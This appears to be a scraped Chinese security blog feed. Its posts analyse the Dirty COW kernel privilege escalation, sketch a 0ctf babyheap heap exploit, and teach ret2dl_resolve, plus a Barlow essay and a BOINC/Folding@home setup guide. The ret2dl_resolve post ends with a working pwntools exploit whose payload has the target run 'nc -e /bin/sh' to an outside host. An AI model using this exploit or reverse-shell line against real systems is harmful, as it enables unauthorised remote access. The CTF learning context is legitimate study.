该函数完成follow_page_mask找不到page的处理。第一次查找时页还不在内存中,首先设置FAULT_FLAG_WRITE标记,然后沿着handle_mm_fault -> __handle_mm_fault -> handle_pte_fault -> do_fault -> do_cow_fault分配页。

static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
    unsigned long address, unsigned int *flags, int *nonblocking)
{
    struct mm_struct *mm = vma->vm_mm;

    if (*flags & FOLL_WRITE)
        fault_flags |= FAULT_FLAG_WRITE; /* 标记失败的原因 WRITE */
    ...
    ret = handle_mm_fault(mm, vma, address, fault_flags); /* 第一次分配page并返回 0 */
    ...
    return 0;

}

static int handle_pte_fault(struct mm_struct *mm,
         struct vm_area_struct *vma, unsigned long address,
         pte_t *pte, pmd_t *pmd, unsigned int flags)
{
    if (!pte_present(entry))
        if (pte_none(entry))
            return do_fault(mm, vma, address, pte, pmd, flags, entry); /* page不在内存中,调页 */
}

static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
    unsigned long address, pte_t *page_table, pmd_t *pmd,
    unsigned int flags, pte_t orig_pte)
{
    if (!(vma->vm_flags & VM_SHARED)) /* VM_PRIVATE模式,使用写时复制(COW)分配页 */
        return do_cow_fault(mm, vma, address, pmd, pgoff, flags,
                orig_pte);
}

static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct *vma,
    unsigned long address, pmd_t *pmd,
    pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
{
    new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address); /* 分配一个page */

    ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page,
         &fault_entry);

    do_set_pte(vma, address, new_page, pte, true, true); /* 设置new_page的PTE */
}

static int __do_fault(struct vm_area_struct *vma, unsigned long address,
        pgoff_t pgoff, unsigned int flags,
        struct page *cow_page, struct page **page,
        void **entry)
{
    ret = vma->vm_ops->fault(vma, &vmf);
}

void do_set_pte(struct vm_area_struct *vma, unsigned long address,
    struct page *page, pte_t *pte, bool write, bool anon)
{
    pte_t entry;

    flush_icache_page(vma, page);
    entry = mk_pte(page, vma->vm_page_prot);
    if (write)
        entry = maybe_mkwrite(pte_mkdirty(entry), vma); /* 带_RW_DIRTY,不带_PAGE_RW */
    if (anon) { /* anon = 1 */
        page_add_new_anon_rmap(page, vma, address, false);
    } else {
        inc_mm_counter_fast(vma->vm_mm, mm_counter_file(page));
        page_add_file_rmap(page);
    }

    set_pte_at(vma->vm_mm, address, pte, entry);
}

static inline pte_t maybe_mkwrite(pte_t pte, struct vm_area_struct *vma)
{
    if (likely(vma->vm_flags & VM_WRITE)) /* 因为是只读的,所以pte不带_PAGE_RW标记 */
        pte = pte_mkwrite(pte);
    return pte;
}

第二次查找

follow_page_mask会通过flag参数的FOLL_WRITE位是否为1判断要是否需要该页具有写权限,以及通过页表项的VM_WRITE位是否为1来判断该页是否可写。由于Mappedmem是以PROT_READ和MAP_PRIVATE的的形式进行映射的。所以VM_WRITE为0,而FOLL_WRITE为1,返回null,进而调用faultin_page函数,此时由于已经找到了页表,不再调用_do_fault,而是调用了do_wp_page,在do_wp_page中,将FAULT_FLAG_WRITE置0,同时,将ret的VM_FAULT_WRITE置1,表示已经执行过COW,在faultin_page之后的判断中,由于ret中VM_FAULT_WRITE置1,则flag的FOLL_WRITE置0,而FOLL_WRITE置0代表着也页表项不需要写权限。

进入faultin_page

struct page *follow_page_mask(...)
{
    return follow_page_pte(vma, address, pmd, flags);
}

static struct page *follow_page_pte(...)
{
    if ((flags & FOLL_WRITE) && !pte_write(pte)) { /* 查找可写的页,但是该页是只读的 */
        pte_unmap_unlock(ptep, ptl);
        return NULL;
    }
}

沿着函数调用路径faultin_page -> handle_mm_fault -> __handle_mm_fault -> handle_pte_fault一路找来,在handle_pte_fault中因为没有写访问权限,会进入do_wp_page函数中

static int handle_pte_fault(...)
{
    if (flags & FAULT_FLAG_WRITE) /* faultin_page函数开头设置了该标志 */
        if (!pte_write(entry))
            return do_wp_page(mm, vma, address, pte, pmd, ptl, entry);
}

FOLL_WRITE置0

static int faultin_page(...)
{
    ret = handle_mm_fault(mm, vma, address, fault_flags); /* 返回 VM_FAULT_WRITE */

    /* 去掉FOLL_WRITE标记, */
    if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
        *flags &= ~FOLL_WRITE;
    return 0;
}

在它检测到一个写时复制发生后,(ret & VM_FAULT_WRITE == true),它决定移除FOLL_WRITE flag。为什么要这样做?
还记得那个retry lable么?如果不移除FOLL_WRITE,则下一次retry,将执行同样的流程。新申请的COWed 页和原来的也有同样的访问权限。同样的访问权限,同样的foll_flags,同样的retry,会导致死循环。
为了打破这种无限的retry循环,一个聪明的想法是移除write flag。这样当下一次调用follow_page_mask时,将返回一个有效的页,指向起始地址。因为当前FOLL_WRITE不在了,foll_flags仅仅是一个普通的读权限,这对于新申请的COWed 只读页时允许的。

第三次查找

 此时FOLL_WRITE flag已经被移除,follow_page_mask在下一次retry时,该访问将被视为只读的,尽管我们的目标是要写。现在,假如我们在同一时刻,COWed page被抛弃了通过另一个线程调用madvice(MADV_DONTNEED)会怎样?

madvise(MADV_DONTNEED)

madvise系统调用的作用是给系统对于内存使用的一些建议,MADV_DONTNEED参数告诉系统未来不访问该内存了,内核可以释放内存页了。内核函数madvise_dontneed中会移除指定范围内的用户空间page。

static long madvise_dontneed(struct vm_area_struct *vma,
                 struct vm_area_struct **prev,
                 unsigned long start, unsigned long end)
{
    ...
    zap_page_range(vma, start, end - start, NULL);
    return 0;
}

void zap_page_range(struct vm_area_struct *vma, unsigned long start,
    unsigned long size, struct zap_details *details)
{
    ...
    for ( ; vma && vma->vm_start < end; vma = vma->vm_next)
        unmap_single_vma(&tlb, vma, start, end, details);
    ...
}

follow_page_mask将仍然失败由于定位COWed page时发生缺页。但是下一次在faultin_page发生的将非常有趣。因为这次foll_flags并不包含FOLL_WRITE,故不再创建一个dirty COW 页,handle_mm_fault将简单地将该页从page cache中移除!为什么这么直接,因为万能的kernel只是在处理请求read 权限(切记,FOLL_WRITE已经被移除了),为什么要费尽创建页的另一个拷贝,如果kernel已经约定不再修改它。
faultin_page返回不久之后,__get_user_pages将做另一次retry,来获取它请求了多次的页。follow_page_mask在这次尝试中会失败,进入dofault_page函数,此时的调用流程会和第一次有一定的区别,由于FAULT_FLAG_WRITE置0,所以直接执行do_read_fault。而do_read_fault函数调用了__do_fault,由于标志位的改变,此时直接与文件内存进行映射。

__do_fault部分代码如下

if ((flags & FAULT_FLAG_WRITE) && !(vma->vm_flags & VM_SHARED)) {
                 if (unlikely(anon_vma_prepare(vma)))
                       return VM_FAULT_OOM;
                 cow_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);
                if (!cow_page)
                         return VM_FAULT_OOM;
                 if (mem_cgroup_newpage_charge(cow_page, mm, GFP_KERNEL)) {
                         page_cache_release(cow_page);
                         return VM_FAULT_OOM;
                 }
         } else
                cow_page = NULL;

if (flags & FAULT_FLAG_WRITE) {

     if (!(vma->vm_flags & VM_SHARED)) {
           page = cow_page;
                 anon = 1;
                 copy_user_highpage(page, vmf.page, address, vma);
                         __SetPageUptodate(page);
                 } else 
            ...
}

Kernel帮助我们获得了打开特权城堡的钥匙。有这个页在手,通用的commonner non-root程序现在有能力修改root file了。
所有一切都是因为kernel在此撒谎了。在被告知dirty COW页已经ready之后的retry中,它只告诉了follow_page_mask和handle_mm_fault,只需要只读权限。这两个函数高兴的接受,最终返回一个当前任务最优的一个页。在这种情况下,它返回了一个如果我们修改它,它就将修改内容写回到原始特权文件的页。
在最终获得页之后,__get_user_pages可以最终跳过faultin_page调用,返回页给__access_remote_vm来进行更多的处理。

机敏的读者可能已经注意到了,如果我们直接访问一个基于文件的只读映射,一个段错误将会产生。但是,为什么我们使用wirte写proc/self/mem确返回了一个dirty COWed的页呢?
这个原因取决于当在一个进程内发生内存访问和当采用out-of-band(ptrace, /proc/{pid}/mem内存访问时,内核如何处理页错误的情况。这两种情况最终都会调用handle_mm_fault来处理页错误。但是后者使用faultin_page来模拟页错误,页错误直接导致触发MMU,将直接进入中断处理器,之后所有的路径都进入到平台独立的内核处理函数__do_page_fault中。而在直接写只读内存区域时,hanler将检测到访问违例在函数access_error中,同时在handle_mm_fault处理之前,直接触发信号SIGEGV在函数bad_aea_access_error中:

static noinline void__do_page_fault(struct pt_regs *regs, unsigned long error_code,
        unsigned long address){
    /* ... snip ... */

    if (unlikely(access_error(error_code, vma))) {
        /* Let's skip handle_mm_fault, here comes SIGSEGV!!! */
        bad_area_access_error(regs, error_code, address, vma);
        return;
    }

    /* I'm here... */
    fault = handle_mm_fault(mm, vma, address, flags);

    /* ... snip ... */}

为什么内核采用如此多步骤来提供这种Out-of-band的内存访问呢?为什么内核支持这种侵入式的访问,从一个进程来访问另一个进程的地址空间?
答案很简单,即使每个进程的地址空间是神圣的,私有性很强,等等。但是仍然需要调试器或别的侵入式的程序来有方法访问和获取一个进程的数据。这是一个了不起的实现,不然调试器从一个bug程序中如何设置断点和观察变量。

引用资料

  1. 11月4日:深入解读脏牛Linux本地提权漏洞(CVE-2016-5195)
  2. Dirty COW(CVE-2016-5195)漏洞分析

  3. 从内核角度分析Dirty Cow原理

  4. 深入分析CVE-2016-5195 Dirty Cow

  5. LMDB中的mmap、Copy On Write、MVCC深入理解——讲得非常好,常来看看!

 

]]>
<![CDATA[0ctf2018 babyheap思路简析]]>

这题没写出来,泄露完libc地址就陷入迷茫,赛后赶紧看大佬们的writeup学习了一下.

checksec

gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL

PIE开了,就不用想着写Got表了

Vulnerability

漏洞还是挺明显的,off by one,可以多写一个字节

Exploit

通过利用off by one,非常容易泄露堆地址与libc地址,这里就不细说,详情看writeup
泄露完以后呢?
因为我们最大分配88个字节的空间,不能直接把chunk分配在malloc_hook附近,所以我们要先通过修改mchunkptr top,也就是topchunk指针,使其下次分配在malloc_hook附近

malloc_state 即main_arena

struct malloc_state {
    /* Serialize access.  */
    __libc_
]]>
https://blog.lovetecnet.xyz/2018/04/5ed11002857793053427715b/5ed11002857793053427715bSun, 08 Apr 2018 13:38:04 GMT

这题没写出来,泄露完libc地址就陷入迷茫,赛后赶紧看大佬们的writeup学习了一下.

checksec

gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL

PIE开了,就不用想着写Got表了

Vulnerability

漏洞还是挺明显的,off by one,可以多写一个字节

Exploit

通过利用off by one,非常容易泄露堆地址与libc地址,这里就不细说,详情看writeup
泄露完以后呢?
因为我们最大分配88个字节的空间,不能直接把chunk分配在malloc_hook附近,所以我们要先通过修改mchunkptr top,也就是topchunk指针,使其下次分配在malloc_hook附近

malloc_state 即main_arena

struct malloc_state {
    /* Serialize access.  */
    __libc_lock_define(, mutex);

    /* Flags (formerly in max_fast).  */
    int flags;

    /* Fastbins */
    mfastbinptr fastbinsY[ NFASTBINS ];

    /* Base of the topmost chunk -- not otherwise kept in a bin */
    mchunkptr top;

    /* The remainder from the most recent split of a small request */
    mchunkptr last_remainder;

    /* Normal bins packed as described above */
    mchunkptr bins[ NBINS * 2 - 2 ];

    /* Bitmap of bins, help to speed up the process of determinating if a given bin is definitely empty.*/
    unsigned int binmap[ BINMAPSIZE ];

    /* Linked list, points to the next arena */
    struct malloc_state *next;

    /* Linked list for free arenas.  Access to this field is serialized
       by free_list_lock in arena.c.  */
    struct malloc_state *next_free;

    /* Number of threads attached to this arena.  0 if the arena is on
       the free list.  Access to this field is serialized by
       free_list_lock in arena.c.  */
    INTERNAL_SIZE_T attached_threads;

    /* Memory allocated from the system in this arena.  */
    INTERNAL_SIZE_T system_mem;
    INTERNAL_SIZE_T max_system_mem;
};

fastbin attack修改topchunk指针,再用one_gadaget覆盖malloc_hook即可

友情链接

0ctf2018 babyheap writeup
0ctf quals: babyheap Writeup

]]>
<![CDATA[Pwn之ret2_dl_resolve]]>

最近的0ctf和强网杯我都参加了,收获了不少,今天特意总结一下ret2_dl_runtime_resolve技术.

本文主要参考:
ROP之return to dl-resolve
Return-to-dl-resolve

准备知识
阅读本文,需要对ELF文件的基本结构有一定的了解.
可参考:
ELF文件基本结构
文件开始处是 ELF 头部( ELF Header),它给出了整个文件的组织情况。

如果程序头部表(Program Header
Table)存在的话,它会告诉系统如何创建进程。用于生成进程的目标文件必须具有程序头部表,但是重定位文件不需要这个表。

节区部分包含在链接视图中要使用的大部分信息:指令、数据、符号表、重定位信息等等。

节区头部表(Section Header
Table)包含了描述文件节区的信息,每个节区在表中都有一个表项,会给出节区名称、节区大小等信息。用于链接的目标文件必须有节区头部表,其它目标文件则无所谓,可以有,也可以没有。

如果一个可执行文件参与动态链接,它的程序头部表将包含类型为PT_DYNAMIC的段,

]]>
https://blog.lovetecnet.xyz/2018/04/5ed11002857793053427715a/5ed11002857793053427715aSat, 07 Apr 2018 15:50:05 GMT

最近的0ctf和强网杯我都参加了,收获了不少,今天特意总结一下ret2_dl_runtime_resolve技术.

本文主要参考:
ROP之return to dl-resolve
Return-to-dl-resolve

准备知识
阅读本文,需要对ELF文件的基本结构有一定的了解.
可参考:
ELF文件基本结构
文件开始处是 ELF 头部( ELF Header),它给出了整个文件的组织情况。

如果程序头部表(Program Header
Table)存在的话,它会告诉系统如何创建进程。用于生成进程的目标文件必须具有程序头部表,但是重定位文件不需要这个表。

节区部分包含在链接视图中要使用的大部分信息:指令、数据、符号表、重定位信息等等。

节区头部表(Section Header
Table)包含了描述文件节区的信息,每个节区在表中都有一个表项,会给出节区名称、节区大小等信息。用于链接的目标文件必须有节区头部表,其它目标文件则无所谓,可以有,也可以没有。

如果一个可执行文件参与动态链接,它的程序头部表将包含类型为PT_DYNAMIC的段,它包含.dynamic节。结构如下:

typedef struct {
    Elf32_Sword     d_tag;
    union {
        Elf32_Word  d_val;
        Elf32_Addr  d_ptr;
    } d_un;
} Elf32_Dyn;
extern Elf32_Dyn_DYNAMIC[];

其中,d_tag 的取值决定了该如何解释 d_un。

d_val
    这个字段表示一个整数值,可以有多种意思。
d_ptr
    这个字段表示程序的虚拟地址。正如之前所说的,一个文件的虚拟地址在执行的过程中可能和内存的虚拟地址不匹配。当解析动态结构中的地址时,动态链接器会根据原始文件的值以及内存的基地址来计算真正的地址。为了保持一致性,文件中并不会包含重定位入口来"纠正"动态结构中的地址。

Tag对应着每个节。比如JMPREL对应着.rel.plt

每个节区头部可以用下面的数据结构进行描述:

typedef struct {
    ELF32_Word      sh_name;//节名称
    ELF32_Word      sh_type;//节类型
    ELF32_Word      sh_flags;//每一比特代表不同的标志,描述节是否可写,可执行,需要分配内存等属性。
    ELF32_Addr      sh_addr;//如果节区将出现在进程的内存映像中,此成员给出节区的第一个字节应该在进程镜像中的位置。否则,此字段为 0。
    ELF32_Off       sh_offset;//节区的第一个字节与文件开始处之间的偏移。
    ELF32_Word      sh_size;//节区的字节大小。
    ELF32_Word      sh_link;//节区头部表索引链接
    ELF32_Word      sh_info;//附加信息,其解释依赖于节区类型。
    ELF32_Word      sh_addralign;//某些节区的地址需要对齐。
    ELF32_Word      sh_entsize;//某些节区中存在具有固定大小的表项的表,如符号表。对于这类节区,该成员给出每个表项的字节大小。
} Elf32_Shdr;

.rel.dyn 包含了动态链接的二进制文件中需要重定位的变量的信息,这些信息在加载的时候必须完全确定。而 .rel.plt 包含了需要重定位的函数的信息。这两类重定位节都使用如下的结构

typedef struct {
    Elf32_Addr        r_offset;//其取值是需要重定位的虚拟地址,一般而言,也就是说我们所说的 GOT 表的地址
    Elf32_Word       r_info;//此成员给出需要重定位的符号的符号表索引,以及相应的重定位类型。
} Elf32_Rel;

typedef struct {
    Elf32_Addr     r_offset;
    Elf32_Word    r_info;
    Elf32_Sword    r_addend;
} Elf32_Rela;

当程序代码引用一个重定位项的重定位类型或者符号表索引时,这个索引是对表项的 r_info 成员应用 ELF32_R_TYPE 或者 ELF32_R_SYM 的结果。 也就是说 r_info 的高三个字节对应的值表示这个动态符号在.dynsym符号表中的位置。

#define ELF32_R_SYM(i)    ((i)>>8)
#define ELF32_R_TYPE(i)   ((unsigned char)(i))
#define ELF32_R_INFO(s,t) (((s)<<8)+(unsigned char)(t))

.got节保存全局变量偏移表,.got.plt节保存全局函数偏移表。.got.plt对应着Elf32_Rel结构中r_offset的值。

$ readelf -r bof32

Relocation section '.rel.dyn' at offset 0x288 contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
080496fc  00000206 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x290 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804970c  00000107 R_386_JUMP_SLOT   00000000   read
08049710  00000207 R_386_JUMP_SLOT   00000000   __gmon_start__
08049714  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main
08049718  00000407 R_386_JUMP_SLOT   00000000   write


gdb-peda$ x/3i read
0x80482f0 <read@plt>:        jmp    DWORD PTR ds:0x804970c
   0x80482f6 <read@plt+6>:      push   0x0
   0x80482fb <read@plt+11>:     jmp    0x80482e0

.dynsym
动态链接的 ELF 文件具有专门的动态符号表,其使用的结构就是 Elf32_Sym,但是其存储的节为 .dynsym。这里再次给出 Elf32_Sym 的结构

typedef struct
{
  Elf32_Word    st_name;   /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;  /* Symbol value */
  Elf32_Word    st_size;   /* Symbol size */
  unsigned char st_info;   /* Symbol type and binding */
  unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
  Elf32_Section st_shndx;  /* Section index */
} Elf32_Sym;

我们主要关注动态符号中的两个成员

st_name, 该成员保存着动态符号在 .dynstr 表(动态字符串表)中的偏移。
st_value,如果这个符号被导出,这个符号保存着对应的虚拟地址。

.dynstr节包含了动态链接的字符串。这个节以\x00作为开始和结尾,中间每个字符串也以\x00

当一个程序导入某个函数时,.dynstr 就会包含对应函数名称的字符串,.dynsym 中就会包含一个具有相应名称的动态字符串表的符号(Elf_Sym),在 rel.dyn 中就会包含一个指向这个符号的的重定位表项。

延迟绑定
程序在执行的过程中,可能引入的有些C库函数到结束时都不会执行。所以ELF采用延迟绑定的技术,在第一次调用C库函数是时才会去寻找真正的位置进行绑定。

举个例子
我们来看看在call read@plt时具体发生了什么。

gdb-peda$ x/3i read
    0x80482f0 <read@plt>:        jmp    DWORD PTR ds:0x804970c
       0x80482f6 <read@plt+6>:      push   0x0
       0x80482fb <read@plt+11>:     jmp    0x80482e0
    gdb-peda$ x/wx 0x804970c
0x804970c <[email protected]>:       0x080482f6
gdb-peda$ x/2i 0x80482e0
   0x80482e0:   push   DWORD PTR ds:0x8049704
   0x80482e6:   jmp    DWORD PTR ds:0x8049708

在第一次调用时,jmp [email protected]会跳回read@plt,这是我们已经知道的。接下来,会将参数push到栈上并跳至.got.plt+0x8,这相当于调用以下函数:

_dl_runtime_resolve(link_map, rel_offset);

_dl_runtime_resolve则会完成具体的符号解析,填充结果,和调用的工作。具体地。根据rel_offset,找到重定位条目:

Elf32_Rel * rel_entry = JMPREL + rel_offset;

根据rel_entry中的符号表条目编号,得到对应的符号信息:

Elf32_Sym *sym_entry = SYMTAB[ELF32_R_SYM(rel_entry->r_info)];

再找到符号信息中的符号名称:

char *sym_name = STRTAB + sym_entry->st_name;

由此名称,搜索动态库。找到地址后,填充至.got.plt对应位置。最后调整栈,调用这一解析得到的函数。

漏洞利用方式

1.控制eip为PLT[0]的地址,只需传递一个index_arg参数
2.控制index_arg的大小,使reloc的位置落在可控地址内
3.伪造reloc的内容,使sym落在可控地址内
4.伪造sym的内容,使name落在可控地址内
5.伪造name为任意库函数,如system

最后附上babystack的writeup

#!/usr/bin/python
from pwn import *
from hashlib import *
from roputils import *
import binascii
context.log_level = 'debug'
def break_sha256(prefix):
    print prefix
    for c1 in range(0x21,0x7e):
        for c2 in range(0x21,0x7e):
            for c3 in range(0x21,0x7e):
                for c4 in range(0x21,0x7e):
                    x=prefix+chr(c1)+chr(c2)+chr(c3)+chr(c4)
                    #print x
                    if(sha256(x).digest().startswith('\0\0\0')):
                        return x

#sh=process('./babystack')
def main():
    rop=ROP('./babystack')
    #sh=process('./pow.py')
    sh=remote('202.120.7.202',6666)
    #sh=remote('188,166,242,64',126)    
    data=sh.recvuntil('\n',drop=True)
    data=break_sha256(data)
    #print 'recv:'+data
    pwd=data[16:]
    #print len(pwd)
    #print pwd
    sh.send(pwd+'')
    #sh.sendline('A\0')
    offset=44
    buf = 'A'*offset
    addr_bss = 0x0804a020
    main=0x0804843B
    addr_read=0x08048300
    buf += p32(addr_read)+p32(main)+p32(0)+p32(addr_bss)+p32(100)
    #gdb.attach(sh)sss
    #sh.send(buf)
    data=len(buf)
    buf += rop.string('nc -e /bin/sh *.*.*.* 1808')
    buf += rop.fill(data+60, buf)
    buf += rop.dl_resolve_data(addr_bss+60, 'system')
    buf += rop.fill(data+100, buf)
    #gdb.attach(sh)
    #sh.send(buf)
    buf+='A'*44+rop.dl_resolve_call(addr_bss+60, addr_bss)
    sh.send(buf+'\x00'*32)
    #sh.sendline('gedit') 
    #sh.sendline('ls')
    #print sh.recv()    
    sh.interactive()
if __name__ == "__main__":
    main()
]]>
<![CDATA[A Declaration of the Independence of Cyberspace]]>

by John Perry Barlow

Governments of the Industrial World, you weary giants of flesh and steel, I come from Cyberspace, the new home of Mind. On behalf of the future, I ask you of the past to leave us alone. You are not welcome among us. You have no sovereignty

]]>
https://blog.lovetecnet.xyz/2018/04/5ed110028577930534277159/5ed110028577930534277159Wed, 04 Apr 2018 00:56:04 GMT

by John Perry Barlow

Governments of the Industrial World, you weary giants of flesh and steel, I come from Cyberspace, the new home of Mind. On behalf of the future, I ask you of the past to leave us alone. You are not welcome among us. You have no sovereignty where we gather.

We have no elected government, nor are we likely to have one, so I address you with no greater authority than that with which liberty itself always speaks. I declare the global social space we are building to be naturally independent of the tyrannies you seek to impose on us. You have no moral right to rule us nor do you possess any methods of enforcement we have true reason to fear.

Governments derive their just powers from the consent of the governed. You have neither solicited nor received ours. We did not invite you. You do not know us, nor do you know our world. Cyberspace does not lie within your borders. Do not think that you can build it, as though it were a public construction project. You cannot. It is an act of nature and it grows itself through our collective actions.

You have not engaged in our great and gathering conversation, nor did you create the wealth of our marketplaces. You do not know our culture, our ethics, or the unwritten codes that already provide our society more order than could be obtained by any of your impositions.

You claim there are problems among us that you need to solve. You use this claim as an excuse to invade our precincts. Many of these problems don't exist. Where there are real conflicts, where there are wrongs, we will identify them and address them by our means. We are forming our own Social Contract. This governance will arise according to the conditions of our world, not yours. Our world is different.

Cyberspace consists of transactions, relationships, and thought itself, arrayed like a standing wave in the web of our communications. Ours is a world that is both everywhere and nowhere, but it is not where bodies live.

We are creating a world that all may enter without privilege or prejudice accorded by race, economic power, military force, or station of birth.

We are creating a world where anyone, anywhere may express his or her beliefs, no matter how singular, without fear of being coerced into silence or conformity.

Your legal concepts of property, expression, identity, movement, and context do not apply to us. They are all based on matter, and there is no matter here.

Our identities have no bodies, so, unlike you, we cannot obtain order by physical coercion. We believe that from ethics, enlightened self-interest, and the commonweal, our governance will emerge. Our identities may be distributed across many of your jurisdictions. The only law that all our constituent cultures would generally recognize is the Golden Rule. We hope we will be able to build our particular solutions on that basis. But we cannot accept the solutions you are attempting to impose.

In the United States, you have today created a law, the Telecommunications Reform Act, which repudiates your own Constitution and insults the dreams of Jefferson, Washington, Mill, Madison, DeToqueville, and Brandeis. These dreams must now be born anew in us.

You are terrified of your own children, since they are natives in a world where you will always be immigrants. Because you fear them, you entrust your bureaucracies with the parental responsibilities you are too cowardly to confront yourselves. In our world, all the sentiments and expressions of humanity, from the debasing to the angelic, are parts of a seamless whole, the global conversation of bits. We cannot separate the air that chokes from the air upon which wings beat.

In China, Germany, France, Russia, Singapore, Italy and the United States, you are trying to ward off the virus of liberty by erecting guard posts at the frontiers of Cyberspace. These may keep out the contagion for a small time, but they will not work in a world that will soon be blanketed in bit-bearing media.

Your increasingly obsolete information industries would perpetuate themselves by proposing laws, in America and elsewhere, that claim to own speech itself throughout the world. These laws would declare ideas to be another industrial product, no more noble than pig iron. In our world, whatever the human mind may create can be reproduced and distributed infinitely at no cost. The global conveyance of thought no longer requires your factories to accomplish.

These increasingly hostile and colonial measures place us in the same position as those previous lovers of freedom and self-determination who had to reject the authorities of distant, uninformed powers. We must declare our virtual selves immune to your sovereignty, even as we continue to consent to your rule over our bodies. We will spread ourselves across the Planet so that no one can arrest our thoughts.

We will create a civilization of the Mind in Cyberspace. May it be more humane and fair than the world your governments have made before.

Davos, Switzerland

February 8, 1996

]]>
<![CDATA[BOINC:为科学而计算]]>

项目简介:

伯克利开放式网络计算平台英语:Berkeley Open Infrastructure for Network Computing,简称BOINC)是目前主流的分布式计算平台之一,由加州大学伯克利分校电脑学系发展出的分布式计算系统。原本专为SETI@home项目而设计,目前纳入的领域包括数学医学天文学气象学等。BOINC汇集全球各地志愿者的电脑或移动设备,提供运算能力给研究者。截至2017年3月,BOINC在全世界有约815,912台活跃的主机,提供约18.971PetaFLOPS的运算能力.

Folding@home(简称FAHF@h)是一个研究蛋白质折叠、误折、聚合及由此引起的相关疾病的

]]>
https://blog.lovetecnet.xyz/2017/12/5ed110028577930534277156/5ed110028577930534277156Tue, 05 Dec 2017 01:35:43 GMT

项目简介:

伯克利开放式网络计算平台英语:Berkeley Open Infrastructure for Network Computing,简称BOINC)是目前主流的分布式计算平台之一,由加州大学伯克利分校电脑学系发展出的分布式计算系统。原本专为SETI@home项目而设计,目前纳入的领域包括数学医学天文学气象学等。BOINC汇集全球各地志愿者的电脑或移动设备,提供运算能力给研究者。截至2017年3月,BOINC在全世界有约815,912台活跃的主机,提供约18.971PetaFLOPS的运算能力.

Folding@home(简称FAHF@h)是一个研究蛋白质折叠、误折、聚合及由此引起的相关疾病的分布式计算工程。由斯坦福大学化学系的潘德实验室(Pande Lab)主持,于2000年10月1日正式引导。Folding@home现时是世界上最大的分布式计算计划,于2007年为吉尼斯世界纪录所承认[2]

Folding@home 注于精确地模拟蛋白质折叠和错误折叠的过程,以便能更好地了解多种疾病的起因和发展,包括阿兹海默症(脑退化症)、牛海绵状脑病(疯牛症)、多种癌症和癌症相关综合症、囊胞性纤维症。到目前为止,Folding@home 可成功模拟长达5秒时段的折叠过程,超出先前估计可模拟的时段数百万倍。

正如大家所知,Folding@home项目目前是世界上最大的分布式计算项目,于2007年为吉尼斯世界记录所承认,截止目前有超过百万人参与项目并提交成果,它的计算能力总和也能达到全球超级计算机TOP10水平。同时该项目也是AMD和NVIDIA等GPU厂商最早参与推进的分布式计算项目,这让项目进程大大加快,用户参与更加方便。

安装方法:

Folding@home

关于Folding@home的安装方法,官方已经介绍得非常清楚,这里我就把贴一点过来.

Terminal installation for Debian / Mint / Ubuntu

Download the installation package files; 64-bit versions shown. If using an i386/i686 32-bit OS version, download those files as appropriate from the client download page.

wget
--no-check-certificate https://fah.stanford.edu/file-releases/public/release/fahclient/debian-testing-64bit/v7.4/fahclient_7.4.4_amd64.deb

wget
--no-check-certificate https://fah.stanford.edu/file-releases/public/release/fahcontrol/debian-testing-64bit/v7.4/fahcontrol_7.4.4-1_all.deb

wget
--no-check-certificate https://fah.stanford.edu/file-releases/public/release/fahviewer/debian-testing-64bit/v7.4/fahviewer_7.4.4_amd64.deb

Install the FAHClient.

sudo dpkg -i --force-depends fahclient_7.4.4_amd64.deb

The package will prompt for initial setup information, user name, etc. Enter information or change as needed, and click OK.

Install the FAHControl application.  Root privileges are required.  FAHControl will show “offline” or “connecting” status until the FAHClient is running, either started automatically (strongly recommended) or started manually.

sudo dpkg -i --force-depends fahcontrol_7.4.4-1_all.deb

Optionally, install the FAHViewer.

sudo dpkg -i --force-depends fahviewer_7.4.4_amd64.deb

Done. The FAHClient is installed and running as a service. Manage, monitor and update settings using the FAHControl.

There are two options for running the FAHClient in Linux:

  1. Run as a system service. This is the recommended and default option. The FAHClient service is installed automatically via the installer package, and will start at boot. Then control and configure the FAHClient with FAHControl. Note that FAHControl will not start or stop the FAHClient process. This setup uses /etc/fahclient/config.xml and runs in /var/lib/fahclient/. Do not run FAHClient directly when the service is running.
  2. Run from command line. Alternately, with the service disabled, it is possible to run the FAHClient manually from the command line in a directory of your choice. FAHClient will run in the current directory and use a config.xml from the same directory.

Both of these options can be headless if choosing not to use FAHControl. The FAHClient can be configured for remote access by editing /etc/fahclient/config.xml, but please be very careful in doing so. The FAHClient is started and stopped via the service script in /etc/init.d/FAHClient.

sudo /etc/init.d/FAHClient start

sudo /etc/init.d/FAHClient stop

Services are started and stopped by root but the client will automatically drop root privileges when run this way. It runs in the restricted fahclient account for added security. Starting and stopping the service is however, not at all necessary if when using FAHControl. Instead pause/unpause the FAHClient. When paused the FAHClient should idle in the background using negligible resources.

The plain command line only FAHClient tarball is available for download here.

Note: There is no install guide or support in the forum for this type of expert only installation. The only support for command-line only installs is this:

Documentation:

./FAHClient --help

Configuration using config.xml:

./FAHClient --configure

Configuration with no config file (minimum flags):

./FAHClient --user=Anonymous --team=0 --passkey=1385yourpasskeyhere5924 --gpu=false --smp=true

BOINC

sudo apt install boinc-client boinc

cd /var/lib/boinc-client

vim gui_rpc_auth.cfg //密码

vim remote_hosts.cfg//允许访问的ip

boinc --allow_remote_gui_rpc --daemon

最后,在本地的Boincmgr连接过去设置项目,提醒一点,cpu占用率长期为100%,有可能会被VPS提供商判断为滥用,请仔细阅读TOS.

推荐一下我自己喜欢的项目:

World Community Grid

Rosetta@home

]]>